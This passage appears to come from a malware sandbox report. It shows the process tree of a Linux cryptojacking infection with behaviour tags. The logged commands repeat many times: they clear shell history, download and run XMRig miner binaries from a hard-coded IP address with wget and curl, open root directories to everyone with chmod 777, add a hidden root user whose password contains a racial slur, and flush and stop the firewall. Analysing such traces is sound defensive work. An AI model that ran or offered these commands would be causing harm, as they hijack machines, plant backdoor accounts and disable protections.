    - Flushes firewall rules
    - Reads runtime system information
    PID:949
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:955
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:956
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:957
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:958
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:959
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:960
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:961
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:962
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:963
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:965
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:966
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:968
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:969
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    - Flushes firewall rules
    PID:970
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:971
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:972
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:973
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:974
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:975
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      Flushes firewall rules
      PID:977
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:978
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:973
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:973
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:973
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:973
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:979
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:980
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:981
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:982
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:983
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:984
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:985
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:986
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:987
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:989
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:990
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:992
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:993
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    PID:994
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:995
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:996
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:997
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:998
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:999
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      PID:1001
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:1002
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:997
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:997
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:997
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:997
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:1003
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:1004
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:1005
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:1006
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:1007
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:1008
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:1009
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:1010
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:1011
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:1013
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:1014
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:1016
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:1017
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    PID:1018
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:1019
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:1020
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:1021
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1022
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1023
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:1026
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      Flushes firewall rules
      Reads runtime system information
      PID:1025
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:1021
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1021
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1021
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Reads runtime system information
    PID:1021
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:1027
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:1028
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:1029
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:1030
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:1031
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:1032
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:1033
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:1034
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:1035
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:1037
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:1038
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    PID:1040
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:1041
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    PID:1042
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:1043
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:1044
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:1045
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1046
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1047
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:1050
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      Flushes firewall rules
      Reads runtime system information
      PID:1049
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1045
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1045
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1045
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:1045
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:1051
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:1052
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:1053
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:1054
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:1055
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:1056
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:1057
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:1058
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:1059
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:1061
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:1062
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:1064
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:1065
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    PID:1066
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:1067
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:1068
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:1069
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1070
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1071
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      Reads runtime system information
      PID:1074
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      Flushes firewall rules
      Reads runtime system information
      PID:1073
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1069
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1069
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1069
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:1069
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:1075
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:1076
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:1077
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:1078
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:1079
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:1080
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:1081
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:1082
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:1083
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:1085
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:1086
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:1088
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:1089
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    - Flushes firewall rules
    PID:1090
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:1091
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:1092
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:1093
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1094
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1095
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:1098
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      PID:1097
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:1093
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1093
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:1093
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    - Reads runtime system information
    PID:1093
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:1099
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:1100
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:1101
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:1102
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:1103
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:1104
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:1105
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:1106
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:1107
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:1109
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:1110
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:1112
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:1113
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    PID:1114
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    PID:1115
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:1116
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:1117
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1118
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1119
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      Reads runtime system information
      PID:1122
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      Flushes firewall rules
      PID:1121
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1117
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:1117
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1117
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Reads runtime system information
    PID:1117
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:1123
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:1124
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:1125
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:1126
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:1127
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:1128
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:1129
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:1130
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:1131
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:1133
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:1134
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:1136
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:1137
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    - Flushes firewall rules
    PID:1138
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:1139
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:1140
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:1141
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1142
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1143
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:1146
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      Flushes firewall rules
      PID:1145
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1141
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:1141
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1141
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Reads runtime system information
    PID:1141
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:1147
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:1148
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:1149
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:1150
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:1151
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:1152
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:1153
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:1154
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:1155
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:1157
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:1158
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:1160
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:1161
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    - Flushes firewall rules
    PID:1162
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    PID:1163
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:1164
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:1165
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1166
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1167
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      Reads runtime system information
      PID:1170
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      PID:1169
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1165
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1165
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:1165
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    - Reads runtime system information
    PID:1165
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:1171
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:1172
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:1173
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:1174
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:1175
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:1176
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:1177
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:1178
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:1179
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:1181
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:1182
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:1184
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:1185
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    PID:1186
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    PID:1187
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:1188
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:1189
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1190
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:1191
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      Reads runtime system information
      PID:1194
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      Flushes firewall rules
      PID:1193

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

